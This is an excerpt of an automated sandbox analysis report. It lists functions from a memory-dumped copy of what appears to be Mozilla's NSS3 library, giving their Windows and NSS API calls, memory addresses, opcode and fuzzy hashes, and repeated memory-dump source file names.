Part of subcall function 6C811200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C8112A1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 37b3c073b91bfb9a602e24a06ad38160d520dad0d57edc5f029b7c0ce88f9ab4
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B72167B5D103454BE720CF149E48BAA37A46FA131CF110678EC085B752F7B9E5C482D1

Function 6C7DACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C7DACC2

Part of subcall function 6C7B2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C7B2F0A
Part of subcall function 6C7B2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C7B2F1D

Part of subcall function 6C7B2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C7B0A1B,00000000), ref: 6C7B2AF0
Part of subcall function 6C7B2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7B2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C7DAD5E

Part of subcall function 6C7F57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C7BB41E,00000000,00000000,?,00000000,?,6C7BB41E,00000000,00000000,00000001,?), ref: 6C7F57E0
Part of subcall function 6C7F57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C7F5843

CERT_DestroyCertList.NSS3(?), ref: 6C7DAD36

Part of subcall function 6C7B2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C7B2F65
Part of subcall function 6C7B2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7B2F83

free.MOZGLUE(?), ref: 6C7DAD4F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 2f5164f4a8de18c4b534a18fc6f7be87c31cf291dfa327f7ef59499de84548a0
Instruction ID: 3b2928782cd7504ff51165262ab0d15b889878e72e002a8fcb818cf25781dc2e
Opcode Fuzzy Hash: 2f5164f4a8de18c4b534a18fc6f7be87c31cf291dfa327f7ef59499de84548a0
Instruction Fuzzy Hash: BE21A1B1D012088BEB10DF68DA0A5EEB7B4FF05228F164078D8147B600FB31BA49CBA1

Function 6C7F24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7F24FF
EnterCriticalSection.KERNEL32(?), ref: 6C7F250F
PR_Unlock.NSS3(?), ref: 6C7F253C
PR_SetError.NSS3(00000000,00000000), ref: 6C7F2554

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 9c250808f984071bfcecb1037a94fef7470580a4e5618ad8b53d7ad99f874075
Instruction ID: c3834d946c509e40bd8f7ac98bf9f6ccd4f0c5137b1378816a29b050fbab39f0
Opcode Fuzzy Hash: 9c250808f984071bfcecb1037a94fef7470580a4e5618ad8b53d7ad99f874075
Instruction Fuzzy Hash: D9112671A00118AFDB00AF68DD899BB7B78EF0A328B550578EC1997301E731E955C7E2

Function 6C80ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C80F0AD,6C80F150,?,6C80F150,?,?,?), ref: 6C80ECBA

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C80ECD1

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C80ED02

Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C80ED5A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0f898962d8d32d136b92cab83626fbfa0d0961755f5d88901018753d972e1e41
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1421CFB1E017429BE710CF29DE44B52B7E4EFA5309F25862AAC1C87A61EB70E594C7D0

Function 6C7DC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C7DC890

Part of subcall function 6C7D8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FAF
Part of subcall function 6C7D8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FD1
Part of subcall function 6C7D8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FFA
Part of subcall function 6C7D8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C7D9013
Part of subcall function 6C7D8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7D9042
Part of subcall function 6C7D8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D905A
Part of subcall function 6C7D8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C7D9073
Part of subcall function 6C7D8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7D9111

PR_GetCurrentThread.NSS3 ref: 6C7DC8B2

Part of subcall function 6C879BF0: TlsGetValue.KERNEL32(?,?,?,6C8C0A75), ref: 6C879C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C7DC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7DC8EB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 4dee448d1bee0607d16ce814034f8569a592015bc0560d4e5a7932c691e4f4ff
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 8B010C76E112117BD70025BA5E85EFF376D9F5515DF060135FC04A6B01F751A89883E2

Function 6C83EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C827FFA,?,6C829767,?,8B7874C0,0000A48E), ref: 6C83EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C827FFA,?,6C829767,?,8B7874C0,0000A48E), ref: 6C83EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C827FFA,?,6C829767,?,8B7874C0,0000A48E), ref: 6C83EE14

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

memcpy.VCRUNTIME140(?,?,6C829767,00000000,00000000,6C827FFA,?,6C829767,?,8B7874C0,0000A48E), ref: 6C83EE33

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: b44f2713d0abb14cfb75df6f61b574aaf91e16746f872d6434fa08882e529097
Instruction ID: 1ccfbf2fcafa10780dad2f53a6bfe8d59db9d72883ec55dabf8ad22f131d08c1
Opcode Fuzzy Hash: b44f2713d0abb14cfb75df6f61b574aaf91e16746f872d6434fa08882e529097
Instruction Fuzzy Hash: AB11CD716047166BDB305EA9DD84B06B398EF0435DF106D35E91D82A40E330FC64C7E1

Function 6C8208D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C8209B3,0000001A,?), ref: 6C8208E9

Part of subcall function 6C810840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C8108B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C8208FD

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C820939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C820953

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 6675f83cddc6369add0f0888be8d4c18e64f1f435685917d0a4d9564f42170b3
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 8B0104B160164A2BFB349B399E24B6737D99F80218F204C39EC1BC6B01EB25F458DAD4

Function 6C7D8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7D8DE7
EnterCriticalSection.KERNEL32 ref: 6C7D8DFC
PR_Unlock.NSS3 ref: 6C7D8E2D
PR_SetError.NSS3 ref: 6C7D8E49

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 500b7bd02456a6676d7ef81dc9514e807b5dba0b949eb48f9d77a43e10efe871
Instruction ID: 4ca20a34527a64898ae9bbd8830ea529a9385337543bf72a038d4744756f93be
Opcode Fuzzy Hash: 500b7bd02456a6676d7ef81dc9514e807b5dba0b949eb48f9d77a43e10efe871
Instruction Fuzzy Hash: 01118F716096019FD700AF78C648169BBF4FF05354F02496ADC8897B00E730E8A4CBD2

Function 6C85AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C845F17,?,?,?,?,?,?,?,?,6C84AAD4), ref: 6C85AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C845F17,?,?,?,?,?,?,?,?,6C84AAD4), ref: 6C85ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C84AAD4), ref: 6C85ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C84AAD4), ref: 6C85ACDB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: c29318054ef279bac1245dae46d7f509045a711e6ae4596aa63e9c1c5f0c1765
Instruction ID: d885d9c33510db0a1fbc11c68c11fde0664fcff14dadf0bac46ccf09e72342bd
Opcode Fuzzy Hash: c29318054ef279bac1245dae46d7f509045a711e6ae4596aa63e9c1c5f0c1765
Instruction Fuzzy Hash: 5E018CB1701B029BEB60DF29DA497A3B7E8FF00659B504839D85AC3E00E730E425CBA1

Function 6C81C590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C81C5AD

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

CERT_DecodeCertPackage.NSS3(?,?,6C81C610,?), ref: 6C81C5C2

Part of subcall function 6C81C0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C81C0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6C81C5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C81C5EF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 63b335254c98cce4e31298b034aca76b32e2ddeb1d651580b5013a03fe2442a4
Instruction ID: 6f73462c8afbd7c0285397339a5b11d138c121950cd83d3bc66d78417478f350
Opcode Fuzzy Hash: 63b335254c98cce4e31298b034aca76b32e2ddeb1d651580b5013a03fe2442a4
Instruction Fuzzy Hash: 9A01DFB1E041086BEB10AB68DD07EBF7BB8DB01608F454079EC15AB741F631A918C6E1

Function 6C8088E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C8108AA,?), ref: 6C8088F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C8108AA,?), ref: 6C80890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C8108AA,?), ref: 6C808936
PR_Unlock.NSS3(?,?,?,?,?,6C8108AA,?), ref: 6C808940

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: a91f72a43f1238e0bb7626472bb6dac02cd59f8f432d2834585da91a735847b2
Instruction ID: c1ddf2cc518d7ab1def000c54cbe9e8cde77a52e78079d396f9f67d276cd6a91
Opcode Fuzzy Hash: a91f72a43f1238e0bb7626472bb6dac02cd59f8f432d2834585da91a735847b2
Instruction Fuzzy Hash: D1015B75B04A059FDB10BF79C689669B7F4FB05398F110A2AD88887B00E730E5E4CBD2

Function 6C8124E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C7EC154,000000FF,00000000,00000000,00000000,00000000,?,?,6C7EC154,?), ref: 6C8124FA
PORT_Alloc_Util.NSS3(00000000,?,6C7EC154,?), ref: 6C812509

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C812525
free.MOZGLUE(00000000), ref: 6C812532

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 5a72ccae7fa612c31fd79d809508b86daa6bb4b173b7c6c482a0ef40a7509f75
Instruction ID: 1bbe99f2118a763f1aaaa62c515296002ea4c15b1bc0f9f4ea1c0d2be34c6a45
Opcode Fuzzy Hash: 5a72ccae7fa612c31fd79d809508b86daa6bb4b173b7c6c482a0ef40a7509f75
Instruction Fuzzy Hash: 2CF0687230912236FB20256A5D4DEB739ECDB427F8B140635B928C59C0DA54C851C1B1

Function 6C8C0660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C8C7B1B,?,?,?,?,?,?,?,?,?,6C8C798A), ref: 6C8C0670

Part of subcall function 6C879EA0: DeleteCriticalSection.KERNEL32(?), ref: 6C879EAA

free.MOZGLUE(?,00000000,00000000,?,?,6C8C7B1B,?,?,?,?,?,?,?,?,?,6C8C798A), ref: 6C8C0696
free.MOZGLUE(00000004,6C8C7B1B,?,?,?,?,?,?,?,?,?,6C8C798A), ref: 6C8C06C7
free.MOZGLUE(?,00000000,00000000,?,?,6C8C7B1B,?,?,?,?,?,?,?,?,?,6C8C798A), ref: 6C8C06E9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: dfdf08af65aae7147627ff57e8f05f61b818e079dd981568c0a4cea8131dc3fb
Instruction ID: ddd51c9f37602ebff1454549b1b117484976287055b69048e588719f3ea8d201
Opcode Fuzzy Hash: dfdf08af65aae7147627ff57e8f05f61b818e079dd981568c0a4cea8131dc3fb
Instruction Fuzzy Hash: 8D115EF5709201ABEF10CF18C987B0A37B8E7973C8F284125D40687B10D772E805CBA6

Function 6C85AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C845D40,00000000,?,?,6C836AC6,6C84639C), ref: 6C85AC2D

